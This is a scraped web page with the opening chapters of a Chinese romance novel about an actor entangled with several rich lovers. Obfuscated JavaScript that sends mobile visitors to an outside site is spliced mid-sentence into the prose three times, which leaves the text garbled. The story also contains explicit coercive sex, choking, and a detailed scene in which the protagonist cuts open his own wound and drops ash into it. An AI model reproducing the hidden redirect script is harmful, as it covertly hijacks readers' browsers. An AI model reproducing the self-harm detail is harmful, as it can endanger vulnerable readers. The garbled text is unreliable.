《玫瑰今夜想你》 1. 第一章 第一章 A市今晚有雨。 瓢泼暴雨自麓岛壹号中庭楼王独栋别墅的落地窗倾泻而下,门前喷泉池内的水花四起,晶莹剔透。 大雨伴着狂风,庭院内盛开的白鸢尾落了一地,带着湿意铺满这座豪宅花园旁幽长蜿蜒的小径。 厚重的窗帘未拉,只有一层浅色窗纱,堪堪在雨幕中遮住屋内的场景。 倏然。 一只纤细柔白的手在白色窗纱上慌乱无助抓揉而过,像是挣扎求生般扒住明净冰凉的偌大落地窗。 只见那漂亮的手急剧颤抖几下,像是卸力般再没能攀住玻璃,带着指痕向下滑落—— 随后。 另一骨节分明的大手宛如狩猎般轻而易举全然覆盖了这只逃跑的猎物,自后而来包裹了这只漂亮而无力的手,向内扣住,重新将人带回了窗纱里。 “不……” 足有百平的主卧光线昏暗,只一盏床前灯堪堪亮着晕黄色的柔光。 收拾齐整的海丝藤床垫上空无一人,一具纤细得近乎单薄的身子被另身形挺拔高挑的成年男人压在靠近落地窗的单人矮脚沙发中。 才刚刚脱逃又被抓回的手被重新按在头顶。 男人俯身低低亲了怀里的人一口,嗓音哑透了:“这就受不了了,刚刚瞎撩什么?” 随着动作的变化,可怜的一束光终于映亮了在沙发里软得起不来身的人那张过分妖冶的艳丽脸蛋。 ——那是今天才从众多前辈手里拿下了最佳新人演员奖的姜瑰。 此时此刻。 他无辜的一双杏眼上还挂着褪不去的泪珠,带着口塞的脸上全是诞水的痕迹,他甚至说不出话,只哭泣着不断摇头,两条修长美好的腿白得发光,格外努力的才能勉强圈在男人腰上。 随着姜瑰再一次的求饶,眼泪和唇边的水痕再次一起淌了满脸:“不……唔……我错……” 男人像是分毫不介意姜瑰的狼狈,伸手抚了抚他被汗水浸透了的发丝,柔声问:“瑰瑰,我砸钱给你拍电影,就是为了让你在领奖的时候感谢另一个男人,是吗?” 姜瑰浑身一僵,头拨浪鼓一般摇起来:“唔……” 男人又亲了姜瑰一下,顺势也抓住他快圈不住要掉下去的脚,将那只白生生的脚握在手心里捏玩。 他就是不肯取下姜瑰嘴里的玩具,却偏要显得自己格外开恩:“慢慢说,瑰瑰,我们还有一个晚上的时间。” “什么时候说清楚,老公什么时候原谅你。” * 隔天是姜瑰最讨厌的艳阳天。 他在卧室正中的那张海丝藤床垫上腰酸背痛的醒来,愣愣的看着窗外发了一会儿呆。 谢筠池就是在这时候走进卧室的。 这个男人有着近乎可怕的规律作息,哪怕闹得再晚也绝不会影响第二天的衣冠楚楚,哪怕夜里再不做人,白天一到也是人模狗样。 谢筠池递了一条H家的领带过来,整个人微微向前弯腰。 姜瑰没接,撇了他一眼,兴致缺缺的在床上从一边滚到了另一边:“腰疼。” “乖了。” 谢筠池硬是把姜瑰拽回拉了起来,抵在自己怀里,“好好打,等下我让阿Li把副卡给你送过去。” 姜瑰懒散的一抬眉:“随便我刷多少吗?” 谢筠池笑:“不然再像以前那样刷爆我的卡,我放下全公司的会出去给你结账?” 姜瑰哼哼唧唧了几声,攀着男人的肩,将领带给他系上了。 “今天下午我要去姜家吃个饭。” 谢筠池对着镜子调整了下领带的位置,“你下午回去吗?” 姜瑰慢条斯理的看着谢筠池别上钻石扣,目光却落在男人右手中指的订婚戒指上。 谢氏到底是有钱有势,连订婚的素圈都由拍卖场的原矿打磨切割,端得骄奢淫逸。 姜瑰问:“你什么时候和姜佩玉结婚?” 场面静了一秒。 谢筠池扣好袖箍,回过身捏了下姜瑰的脸:“瑰瑰,你以前从不问这种问题的。” “是哦。” 姜瑰慢吞吞的打了个哈欠,他伸手礼貌性的遮了遮嘴,丝绸的睡衣沿着光滑的肌肤落下,露出小臂上两道鲜血淋漓的刮痕。 那刮痕看上去分外新鲜,半愈未愈,还渗着血。 谢筠池面色一沉:“这哪来的?” 姜瑰闻言瞧了一眼:“不知道啊……碰哪儿了呗。” 谢筠池却皱紧了眉:“昨晚前还没有。” 男人顿了下,下意识看了眼自己中指上的戒圈。 姜瑰也顺着他的视线看过去,也很轻描淡写:“哦,那可能是这玩意儿刮的,没事,几天就好了。” “不行。我叫医生现在过来。别留下疤。” 谢筠池从床头柜上拿过手机,正要拨打,却有一个新来电进来。 姜瑰歪过头:“姜佩玉?” 谢筠池拧了下眉。 “没事。” 姜瑰摆了摆手,“到时间了,你先去吧。这点小伤不碍事,两天就好了。” 谢筠池犹豫了几秒,还是站起身:“我让阿Li通知医生过来,注意伤口别沾水。” 姜瑰一弯嘴角:“知道,放心。” 空旷的主卧里终于就剩下了姜瑰一人。 他幽幽的目光投在窗外灼烫的阳光上,半晌起了身,赤着脚踩在木地板上,推开了窗户。 窗外有鸟雀鸣叫,从不节约用电的私人宅院喷泉水汩汩涌出。 被雨水打落在地的白鸢尾残花早已被保洁修剪如新,盛放依旧。 姜瑰弯腰,从昨天被谢筠池扔在地上的外套里摸摸索索,找出一柄又小又轻的薄刃瑞士刀。 他灵活到单手就能将刀刃打开,用刀尖在刮痕上比比划划挑选许久,毫不犹豫的一刀划了下去。 皮开肉绽。 原本只是渗血的伤口被彻底切开,血却因为皮肉的神经反应自然闭合没有立刻涌出。 姜瑰笑眯眯的用刀左右拨了拨,心满意足的等着血先是一点点漫出,再渐渐流了整手。 他熟练的将旧衣服垫在流血的位置,这样地板就看不出任何异常。 做完这一切。 姜瑰从自己裤子里摸出一盒抽了大半的卡比龙长烟,凑近唇边点燃,深深吐了口气,整个人脱力般窝进了沙发里。 薄荷和奶油香味夹杂着尼古丁糜烂的气息淹没姜瑰,又顺着新风和窗玻璃飘向窗外。 阳光正好。 他在腐烂。 偶尔抖落的烟灰落进被割开后毫无包扎,导致向两边裂开的创口里。 姜瑰不知是疼还是爽,阖了阖眼,竟像是难得的安眠时光。 * 恼人的电话铃将姜瑰从睡梦中喊了起来。 他不得不睁开眼,看到伤口勉强结了痂,日头依旧高高挂,室内的新风系统像是以旧换新,让房间的空气重焕新生。 姜瑰接通电话:“姚哥,怎么了?” 姚正是姜瑰从进公司以来的经纪人,带了他很多年,比任何人都清楚姜瑰的下三滥。 姚正道:“谢总的助理说联系不上你,把谢总让给你的副卡送我这儿来了,你什么时候过来取?” 姜瑰又点了根烟:“晚上吧。” 姚正:“你现在在哪儿?” 姜瑰:“谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112383|179940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筠池家呗。” 姚正:“刚才为什么不接电话?” 姜瑰:“睡着了。” 姚正:“自然睡着还是吃药睡的?” 姜瑰烦了:“你有毒吧?” 姚正早习惯了姜瑰的状态:“这个月约的咨询时间快到了,到时候我陪你过去。你今天没干不该干的吧?” 姜瑰:“没有,我挂了。” “等下!” 姚正道,“今天巫导亲自到公司来了。” 姜瑰对着空气吐烟圈:“来干什么?” 姚正:“说是给新戏选个新面孔,但我倒觉得像来找你的,你跟他之间……没什么吧?” 姜瑰葱白的手指拿过电话,翻了翻聊天软件和未接来电。 接着。 姜瑰笑了一下:“恭喜你,答错了。” 姚正:“……你疯了?杜温瑜你都还没有彻底摆平,你就不怕谢筠池发现弄死你啊?!” 姜瑰咯咯在电话那边乐:“有那么可怕吗?” 姚正觉得自己也快疯了:“当然可怕。姜瑰,我求求你了,这几个男人实际咱一个都惹不起,你松松手,别搞了,行不行?” 姜瑰终于把一盒烟吸完了。 他在伤口的结痂上按灭了烟,扶着沙发晃晃悠悠站起了身。 失血让他有些昏聩,但烈日让姜瑰找回了几分清醒。 姜瑰说:“不行。” 姜瑰:“姚哥,我好无聊。我小心一点,不会被发现的。” 姚正:“……” 姚正心如死灰的被姜瑰挂了电话。 * 未读微信里有好几条巫南的信息,提到有个不错的本子,让姜瑰可以去他家试试。 偏偏折腾了一个下午的姜瑰在这时候颇有种贤者模式,是个难得纯良的时刻。 姜瑰没回信息。 他从谢筠池给他备好的新季高定里乱翻一通,找出套自己能看得上眼的穿好,也懒得管被自己糟蹋的一塌糊涂的衣柜,随手捞了自己浸满血渍的短袖,下楼出门。 佣人急匆匆的赶上来:“小姜先生,您还没吃饭呢?谢总特意打电话回来让给您做的爱吃的菜,您多少吃两口吧。” 姜瑰善意微笑:“没事,你就说我吃过了,这样咱俩都不会挨骂。” 佣人:“……” 姜瑰的跑车就大喇喇的停在谢筠池别墅外。 他开的是最新款的布加迪,自己改了马达,大红色车身,到哪儿都是焦点。 一路开出别墅区,姜瑰找了个能临时停车的地儿下了车,拎着自己换下来的破衣服找了个街边垃圾桶随手一丢,又找了个药店,熟门熟路的买了绷带酒精和碘伏。 酒精喷在伤口上的疼痛让姜瑰轻轻眯了眯眼。 他戴着墨镜和帽子,找了把树下的长椅,一边包扎一边左顾右盼。 视线转过街角的时候。 姜瑰看到一个人。 那似乎是一名街头画家,行囊简单,只一个画架,背包和摆在旁边的调色盘,此时正在给一位客人画肖像。 画家的穿搭倒是很出彩。 黑色的鸭舌帽下搭配了一件涂鸦短袖,洗得发白的阔腿牛仔裤上沾了油菜,显出几分落拓又艺术的风味。 随着围在旁边的女孩子们一片“哇”声。 姜瑰才发现这画家似乎长得也蛮不错,点着泪痣的眼睛非常夺目,虽然戴了口罩,但依旧能看出流畅的脸部线条。 姜瑰盯着他看了许久,到月色重新降临,这条街的人越来越少。 画家面前的最后一位顾客也满意离开。 姜瑰才站起身,拍了拍身上的土,走了过去。 2. 第二章 第二章 这座城市的夜色来得总是偏早,街边的霓虹亮起的时候,也是许多下班族回家的点。 姜瑰随手丢了剩余的纱布和酒精,在身旁路人的脚步匆匆里站定在那名画家面前:“给我也来一幅。” 语气跋扈的趾高气扬,着实算不上尊重。 画家将画框收起,抬头看着姜瑰:“抱歉,今天我收工了,明天再来吧。” 姜瑰伸手摁住画板,整个人也跟着坐下来,不要脸道:“我出十倍价钱。够不够?” 画家蹙了下眉:“先生。” 啪嗒。 一滴殷红的血滚在了全木质的画框上。 A市的夏末天气依旧炎热,那滴血极快的渗进木框,甚至来不及被擦除,就留下了一个暗褐色的难看痕迹。 “哎,抱歉。” 姜瑰低头一瞥,刚包好的伤口因为摁画板的动作崩开了,“我赔你画框吧,多少钱?” 画家拿开姜瑰的手,将画板收了起来:“不值钱,不用了。” 姜瑰盈盈的笑起来,他翘着二郎腿坐在画家对面:“真不给我画啊,我长得不好看吗?” 画家停下动作,又看了姜瑰一眼。 姜瑰说:“杂志排着队想拍我还拍不到呢。你怎么这么没眼光啊。” 画家垂下头,将调色盘也收进包里。 姜瑰:“你叫什么名字?” 画家:“……” 像是被姜瑰的多嘴多舌烦到了。 画家拉上背包拉链,伸手,从面前的桌子最下层格挡中抽出了一幅单人油画。 ——画上是正坐在远处长椅上,正在包扎伤口的姜瑰。 姜瑰愣了一下。 油画画面能看得出画家的美术功底和构图能力都着实不错,色彩的明暗对比鲜明,距离感和层次感突出,笔触大胆。 明明是炎夏,这张画的底色却是黑调的,夹杂画上姜瑰小臂上的血,阴霾幽沉。 画家问道:“喜欢吗?” 夜色和霓虹往往笼罩了许多秘密。 姜瑰从兜里摸出根烟点了,这不是他常吸的款,刚刚随便在路边买的,焦油味很重,呛得他咳了一声。 姜瑰吐了口烟,用火星明灭的烟头点点那画:“你给客人画的可不是这种。” “嗯,他们给钱了。” 姜瑰:“……” 姜瑰大笑起来:“行吧,也挺像的,我能再修改一下吗?” 几只油画笔倒是还在桌面上,画家递给姜瑰。 姜瑰挑了只最大的,又看看旁边剩余的颜料,将笔头扎进黑色颜料盒里搅了几圈。 沾满油画水彩的笔锋沉甸甸的抬起,落在画面右侧人物的脸上。 姜瑰表情认真,只是几笔,就将画上自己那张脸彻底填成了密实的漆黑,显出种说不出的怪异感。 姜瑰心满意足的撂下笔,眼睛明亮,一副等待夸奖的表情:“我水平怎么样?” 画家却站起身,伸手摘走了姜瑰嘴边的烟。 直到这时,姜瑰才发现画家的身量竟然很高。 他自己就有接近一米八,而画家还要比自己高上许多。 画家把那支燃了小半的烟凑近唇边,对姜瑰道:“这个味道不适合你。” 姜瑰倒也没生气:“你偷画我,抢我烟,还攻击我审美。你故意的啊?” 画家也只吸了一口,信手按灭烟:“血渗出来了,重新给你包一下吧。” 天热伤口包重了热,姜瑰只在外层裹了两片纱布。 现在血已经渗透了那里,除去刚才滴在画板上的,剩下的顺着他的小臂慢慢往下滑。 姜瑰突然问:“这么大的太阳出来摆摊,你缺钱吗?” 画家意味不明的看着姜瑰。 姜瑰:“我包你吧。” 画家:“……” 画家收回视线,将剩余的颜料和工具全数收进背包,又整理好被姜瑰涂了色的那幅画,转身要走。 “我说真的。” 姜瑰伸手拉住画家,他下意识想摸支烟,又忍住了,“你开个价,车,房,我都能给。” 画家停住脚步,深吸口气。 他比姜瑰高不少,往下看的时候,可以一直顺着领口看个彻底。 尤其是姜瑰今天为图凉快,选了套布料格外少的套装。 画家突然轻轻笑了一下:“你想睡我?” 姜瑰想了想:“你也可以理解成我今天突然决定做一件好人好事。” 画家:“……” “每个月一百万,加一辆车,分开的时候我再给你套房。” 姜瑰把玩着车钥匙,“行不行?” 画家没说行,也没说不行,他的目光在姜瑰渗着血的手臂上驻留,问道:“如果同意,是不是就能现在给你重新包扎伤口了?” 姜瑰眼睛一亮:“那必然可以啊,走,上车!” 搞艺术的人不愧是有单独想法的,连包出来的伤口都是带蝴蝶结的。 姜瑰十分新奇的翻着手臂来来回回看了好几次,才评价道:“可以,很儿童。” 身旁的人将姜瑰的小臂压下来放平:“我姓虞,亭台楼阁的亭,至死方休的至,虞亭至。” 姜瑰伸手挑了下虞亭至的下巴:“你看我眼光是不是还行,你这名字挺有被救风尘那味儿的。” 虞亭至:“……” 虞亭至问:“回我那儿?” “我可不想跟你一起住小房子。” 姜瑰加上虞亭至的好友,发了个地址给他,“你先回这儿等我,大门密码是今天日期。” 虞亭至皱眉:“你不跟我一起回去?” 姜瑰弯唇,他笑起来的时候眼睛格外漂亮,神态里都是骄纵的媚意:“我要去挣钱养你啊,晚上要是十二点我还没回来,你就先睡吧。” 他修长柔白的手指拉开车内抽屉,将一串钥匙抛给虞亭至:“今天来不及陪你去买车了,你开我车回去,明天给你去挑辆新车。” 姜瑰推门下车,朝车上的人抛了个飞吻:“走了,拜,小画家。” * 刚下车呆了没多久,姜瑰就有点后悔让虞亭至把他车开走了。 原因无他,主要天气实在太热了,偏偏还正值下班高峰期,姜瑰打不到车。 在路边等了不到十分钟。 姜瑰不耐烦的给谢筠池发信息:“你什么时候回姜家,过来接我。” 谢筠池没立刻回。 姜瑰看了眼时间,又一条信息发给了巫南:“【定位】,哥哥,过来接接我。” 不到十秒钟。 巫南:“知道了。” 姜瑰去路边便利店买了个冰激凌,坐在原地一边吃一边等人。 来来往往人潮汹涌,夜幕下谁也没发现坐在这的竟然是这两天一直挂在热搜上的当红艺人。 姜瑰从出道以来的成名路一直纷争不休,说他靠睡上位的有,靠卖脸上位的有,说他媚粉,说他营销,说他靠背后的人砸资源——总之说不上清白。 一辆银灰色库里南在夜色中悄然停在姜瑰面前。 侧灯亮起,打了一声鸣笛。 姜瑰抬头,吃完最后一口冰激凌,先去旁边的垃圾桶丢了小棍,才慢吞吞拉开门,坐了上去。 车内冷气很足。 在外面热了半天的姜瑰长长舒了口气,心满意足系上安全带,从副驾凑过去亲了巫南一口:“最爱你了,哥哥。” 巫南神色算不上好:“你怎么在这里,车呢?” “车被朋友借走撩妹了呗。” 姜瑰的本领之一就是信口胡诌从不心虚,“干什么这么凶?走啦。姜家今晚估计要给姜佩玉和谢筠池聊婚事,我得按时去。” 巫南却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜瑰却重新蹭了上来,他梨花带雨的脸上泪珠要落不落,两条软弱的胳膊却如同蛇一般绑缚了男人的全部呼吸。 姜瑰攀在巫南肩上啜泣着呼吸:“哥哥,你不爱我了吗?” 巫南没搭理他,却也没再说话。 姜瑰伸手,试探似的去摸巫南的喉骨,有一下没一下:“可是我不想让别人觉得我是因为你捧我才出头的,我想和你一样有名,然后再……” 姜瑰哭得伤心,眼泪一滴又一滴,全顺着两人的拥抱落进巫南的衬衫里:“再和你并肩在一……” “姜瑰!” 巫南猝然伸手掐住姜瑰细瘦的颈骨,将人带了起来,“别跟我来你惯用的这套。我不吃你这套!” 姜瑰流泪的杏眼和哭红的脸落在巫南眼里。 哪怕被掐着脖子姜瑰也没大哭出声,他就这样静静地流眼泪,像一只被抓捕要给恶魔献祭的柔软小动物,乖顺又漂亮。 大概是能够呼吸到的空气越来越少,姜瑰薄红色的唇下意识张开了。 可那更像是一个等待男人哺育的模样。 巫南松开了手。 他张开手臂,把姜瑰抱进了怀里。 就一次一次,又一次的妥协,一步一步,又一步的不断退后。 巫南圈紧了姜瑰的腰,闭了闭眼,不知是对姜瑰说,还是对自己说:“姜瑰,我真tm想掐死你。” 由于窒息。 姜瑰原本只是薄红的唇覆上一层艳色,他艰难的喘息几口,缩进巫南怀里,亲了亲巫南的唇角,软软的问:“哥哥是不是很没有安全感?” 巫南任由姜瑰在他怀里嚣张,冷笑了声:“怎么会,大不了就是甩了你,换下任。” 姜瑰牵了巫南的手:“那我送哥哥一个礼物吧。” 巫南家世优渥,出身优越,对礼物向来没有任何多余的兴趣:“不用。” 姜瑰眨眨眼:“我这个礼物你一定会超喜欢的,哥哥,你确定不要吗?” 巫南无奈,随口道:“说来听听。” “哥哥把名字纹我身上吧。好不好?” 姜瑰攀着巫南有力的手臂坐起来,凑近他耳边,轻轻说,“纹哪里都可以。” 3. 第三章 第三章 除了装逼以外,库里南这车其实还有个最大的优点,宽敞而且抗震。 后面这点是姜瑰最近才发现的。 银灰色的车辆掩映在姜家别墅院外郁郁葱葱的迎客松后,又被楼盘内生态湖边的柳树遮了大半。 车窗紧锁,只唯独造型独特凸出的车标似乎在风中上下猛烈浮动,半晌才恢复平静。 姜瑰潮红的脸上还留着褪不去的迷离,一条手臂被巫南抓着按在星空顶边沿,另一条则软绵绵的垂下来,细细看去,像是能看到指尖斑驳的污渍。 巫南身上原本笔挺簇新的衣服彻底被姜瑰染脏,价格高昂的手工西装,星星点点的痕迹遗留在上,但偏生衣物主人毫不经意,反而信手从后箱取出个软垫,抬起姜瑰的腰塞了进去。 “唔。” 姜瑰闷哼了声。 吃饱餍足的男人心情多少会好些。 巫南抚着姜瑰的后腰,一边矮下腰亲了亲他:“娇气。” 后腰的软垫抬高了相应的位置,姜瑰被堵得有些难受,他挣了挣,有些恹恹的吐着舌:“取掉。” “受着。” 巫南将姜瑰的小臂握在手心里揉搓把玩,“要不就换成其他惩罚。” 巫南的手指突然在腰侧一片肌肤停下,语气低几分:“瑰瑰,你知道人体最易感疼痛的位置在哪里吗?” 姜瑰被摸得颤了颤,他感受到巫南手指的位置,眼睛水雾迷蒙的问:“哥哥,不是已经罚过这次了吗?” 巫南禁不住的低头去亲姜瑰的眼睛,喉结滚动:“可是瑰瑰不乖呢,这次罚过,很快就有下次了。不是吗?” 姜瑰不承认也不反驳,垂下眼,单薄纤细的身体在巫南怀里安分不到片刻,殷红的唇贴近巫南靠近的手,然后伸出幼粉的舌尖,碰了男人的手指指尖。 或者是舔。 只一下。 麻到深处的难捱吞噬巫南所有理智,只瞬间,他甚至连眼底都泛着红。 姜瑰却主动伸手抱住了巫南,小小声的,灵动又轻佻的问:“哥哥,你为什么换库里南?” 巫南倒吸口凉气,猛地伸手捏住姜瑰精巧的下颌,声音是哑透了的:“你说呢?” “不知道呀。” 姜瑰像一条灵活的鱼似的,从巫南怀里溜出去,又从前座取了长袖长裤,将自己穿得严严实实,“哥哥,我到家了,谢谢你。” * 姜家的别墅坐落于A市东城老牌富人区,出则繁华,入则宁静,是许许多多第一批富起来的下海经营者共同的选择。 但这里的确已经很老了。 经久不衰的豪门和这座城市的顶级新贵已经不约而同选择了南城新兴的商业区,只留下这半死不活的老牌二字。 这是姜瑰从小长大的地方,但准确来说并不是他的家。 尤其在姜佩玉回来之后,平时姜瑰几个月都未必会回一趟这里。 他是丑闻,是淤泥,是难堪的又抹不去的过去,是姜家不想承认又丢不掉的废品。 姜瑰掐灭烟,低头闻了闻自己身上那股刚做完事的味道消散干净,才敲敲门。 吴嫂来开的门:“小瑰,快进来,大家都到齐,就等你了!” 姜瑰闻言低头看表,果不其然约的时间是七点半,他来的时候已经七点四十了。 只能说都怪巫南! 姜瑰这人是个从不会自我反思的人,他同时觉得反思这个行为本身就毫无意义。 与其反思自己,不如责怪别人。 姜瑰很轻松的放下心理担子,看到门厅没有自己的脱鞋,就索性径自进了饭厅。 吴嫂说的果然没错,这桌晚餐上该到的人都到齐了,他还真是最后一个。 坐在主位上是穿着一身休闲西装的谢筠池,左右两边一旁是姜昊成和楚岚,另一边是姜佩玉本人。 这就整的姜瑰有点尴尬。 他犹豫一会儿,找了个离谢筠池最远的位置,老实巴交的坐下了。 只可惜姜瑰座位还没坐稳。 姜昊成已经道:“招待贵宾的筵席不仅迟到,来了还这么没规矩,姜瑰,这就是我从小教你的礼仪吗?” 姜瑰:“……” “好啦,不要这样。” 楚岚柔柔弱弱的拉着姜昊成的胳膊劝,“小瑰最近刚拿了奖,工作多也是很正常的,你不要生气。” 姜昊成道:“我们姜家需要他去抛头露面吗?” 楚岚劝不动自己老公,只得转头看姜瑰:“小瑰,你父亲不是故意的,今天是阿玉重要的日子,筠池难得来一趟,我们都很重视。” 姜瑰叹口气:“明白,明白,是我不够重视,我给谢大少爷赔个礼。” 姜瑰把姜昊成准备的好酒转到自己面前,也没用小酒盏,抬手拿了个纸杯,咣咣就倒了半杯。 姜昊成那瓶几十万的好酒不一会儿就被倒成了几万。 姜瑰端着纸杯站起身,绕过姜佩玉,站在面无表情的谢筠池面前。 姜瑰语气真诚:“不好意思,谢大少,我这人呢,没什么礼貌,没教养,这圈里都清楚我不是姜昊成和楚岚亲生的,我的行为代表不了姜家,您别介意。” “至于您和我哥姜佩玉这个婚事嘛……” 姜瑰接着道,“我觉得挺好,般配,恭喜,别的不说了,我先赔一个哈!” 烈性足够高的白酒在纸杯中盈盈,面前的人唇齿间流淌的笑意碎在姜家饭厅排场讲究的水晶吊灯里,又全数落在谢筠池眼中。 姜瑰提起纸杯,一点要打马虎眼的意思都无,凑近泛着薄红的唇就毫不客气往下猛灌。 烧灼的酒气从喉头穿肠入腑,再倒冲天灵,刺激得姜瑰连灵魂都仿佛跳舞。 然而一只有力的手臂轻而易举的截断了姜瑰的快乐。 谢筠池站起身,掰开姜瑰的手臂:“够了。” 谢筠池的手不偏不倚正压在姜瑰被绑了蝴蝶结的伤口上,撕裂的同时,泛起发痒的疼痛。 烈酒突如其来的眩晕感让姜瑰飘在云端,伤口剧烈的大恸则像调味品,给了他一种无法言喻的滋味。 然而人体自然的生理性反应让湿润的泪痕盈满姜瑰的眼睛。 谢筠池一慌,下意识脱口:“压你伤口了?” 整个饭厅安静片刻。 姜瑰终于在极端的痛觉之后勉强找回了几分正常人的模样。 他神态比谢筠池还要大方正常,把自己染血的绷带挨个给在场的几个人都展 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这几个夜场多数都是家里不受宠的二代们开的,要么看上姜瑰的脸,要么看上姜瑰的人,还有些纯粹是沆瀣一气,都不是什么好人。 以前姜瑰都是卡座,自从拿奖火了以后这项自由也没了。 为了避免姚正被气死,姜瑰只能上了二楼包间,点了几个干净的陪自己喝酒。 纯喝酒,最多再唱唱歌。 主要是姜瑰真的腰疼。 爆炸的音乐掩盖所有的负面情绪和解决不了的问题。 姜瑰被接近一米九的帅气男大牵了手带着喝了整杯刚端上来的轰炸机,气血上头,一口气开了六十六瓶三十年存的罗曼尼康帝。 这是现在店里所有的库存。 每瓶叫价六十万,没有折扣。 姜瑰摸出昨天刚到手的副卡,不到十分钟就刷掉了近四千万。 这间包厢的营业额全数分摊在所有陪员身上,再加姜瑰那张漂亮的脸,每个人都动力十足,包厢内气氛空前。 唱K的,扭的,讲乐子的,哄姜瑰喝酒的,过来陪说话的…… 牵着姜瑰喝酒的男大学生分摊的营业额最多,两人距离也是最近的。 姜瑰本身在姜家就喝了酒,来这里后又灌了不少,这会儿已经完全坐不稳了,半软在身旁人怀里。 “姜先生。” 看上去分外清纯的男大学生晃了晃姜瑰的手机,“您手机响了,您喝醉了,我帮您接吗?” 包厢内不断滚动的射灯映在姜瑰的脸上,那真是一张被上帝都眷顾的容貌。 酒气让姜瑰的眼底染着丝丝缕缕的韫色。 他醉得话都有些说不清楚:“嗯……让他明天再打。” 男大学生接了电话:“您好。” 电话另一边的男人声音冷冽刺骨:“你是谁?让姜瑰接电话。他在干什么?” 男大学生胸前的位置微微一重,低头,是姜瑰终于醉在了他怀里。 “姜先生睡了。” 男大学生道,“您明天再打吧。” 4. 第四章 第四章 姜瑰在相熟的几个场子里有自己固定的房间,经常玩太晚就直接睡那儿,反正也不太有人管他。 比如今天,姜瑰也懒得叫再叫代驾,索性攀在身边清纯模子肩上,由着人家把自己送回房间,准备洗洗睡了。 两人才在会所灯光糜烂的走廊里勾勾搭搭拉扯到半路,就和身形高挑气场逼人的男人迎面撞了个正着。 男人身上的衣物品味极佳,身边还跟着夜场总经理,他神情阴郁,目光掠过搂着姜瑰的男模,唇边几不可见的向下两分。 然而男模身上依旧带着大学生的清澈:“先生,麻烦您让让好吗?我先送客人回房间。” “回房间。” 谢筠池面上的不着痕迹变成冷笑,“你想死吗?” 夜场经理这还有什么不明白的,赶忙一手拽了男模一边对谢筠池解释:“谢大少,都是误会,误会!我们这小孩刚来不懂事,就想挣点钱,对您的人绝对没有半点意思,您……” 谢筠池点了根烟:“有你说话的份吗?” 随着谢氏彻底交在谢筠池手中,这个繁衍超过五代的世家愈发如日中天,而谢筠池本人几乎没任何不良嗜好,堪称新一代权贵里的天之骄子。 他不痛快动动手,能让众多人跟着不痛快。 经理不敢吱声了,偷偷用手机发了信息,让夜场老板赶紧过来亲自赔罪。 这时候一切的罪魁祸首姜瑰在男模怀里蛄蛹起来:“……热死了,怎么不走?” 谢筠池凉飕飕带着刀的目光盯在姜瑰身上。 男模动也不敢动,可喝醉的人本来就没什么力气,姜瑰软得直往他身上靠—— 紧接着,一条手臂猛地将姜瑰从男模身上拉了过去。 成年男性坚实的肌肉和胸骨撞得姜瑰头顶直冒金星,他伸手狠狠推了一把谢筠池:“大胆模子……你怎么敢撞我这张刚拿过奖的美丽容颜……我要扣你钱……” 谢筠池:“……” 经理:“……” 谢筠池寒着脸问:“他经常来这儿?” “啊,也算不上经常。” 夜场经理给其他会所狠狠倒油,“姜先生这几个会所都会去,不单来我们这儿。” 谢筠池脸色果然更难看了:“他在这过夜吗?” 经理硬着头皮:“过,但不是您想的那种……姜先生一般就来喝酒跳舞,没包过人。” 怀里的人手臂已经自发的抱上来,吐出带着酒意的气息沁在谢筠池脖颈边,烧得他觉得自己可能也快疯了。 吐出一口浊气,谢筠池道:“带我去他房间。” * 按照夜场经理的说法,姜瑰能挣能花,不太存钱。还没拿到谢筠池副卡的时候就能每晚高消费,如今刷谢筠池的卡,更是愈加夸张。 也因此姜瑰的房间是场子里最好的,不仅是大套间,里面所有设备一应俱全,该有的不该有的全有。 尤其是看到一道门后半开间式的圆床和放在旁边的摇摆木马,挂了整墙的手铐和各类玩具后。 谢筠池面上冷意几乎遮盖不住:“你们还挺会安排。” “没没……谢大少,姜先生真就是睡觉。” 夜场经理把所有情趣灯全关了,白炽灯照得全房间两如白昼,“您要是没其他需要,我先下去了?” “让我助理送两套衣服过来。” 经理:“好的谢总” 谢筠池单手就能把姜瑰整个圈起来,他空出一只手在便签纸上写了几行字:“去买两瓶这牌子的乳液,送过来。” 夜场经理:“……?” 经理恍然明悟:“没问题!我立刻让人过去,谢大少放心,二十分钟内就到。” 这里的配套远比不上谢筠池麓岛壹号的豪宅。 床不够软,不够大,空气不够自然通风,枕头被套和床垫也不够服帖。 装腔作势的白炽灯一关,槽烂的猩红色暗光就洒满整间屋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112386|179940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 姜瑰右臂上的伤渗血又反复愈合,显出种狼狈的模样。 但谢筠池着实等不及了。 他伸手将姜瑰那只手臂抬起拷在床头,整个人压了上去。 包装崭新的乳液在男人大掌下被毫无章法的撕开包装,谢筠池给予姜瑰的吻黏稠而湿润,似要包裹和掠夺怀中人所有的空气。 姜瑰本就泛着晕红的脸渐渐染成一层绯色,又被镀成玫瑰色。 这种床不受力,每次都又沉又重,带着惯性凿进去,谢筠池不给姜瑰任何逃跑和喘息的空间,将他弄得湿淋淋。 “不行……” 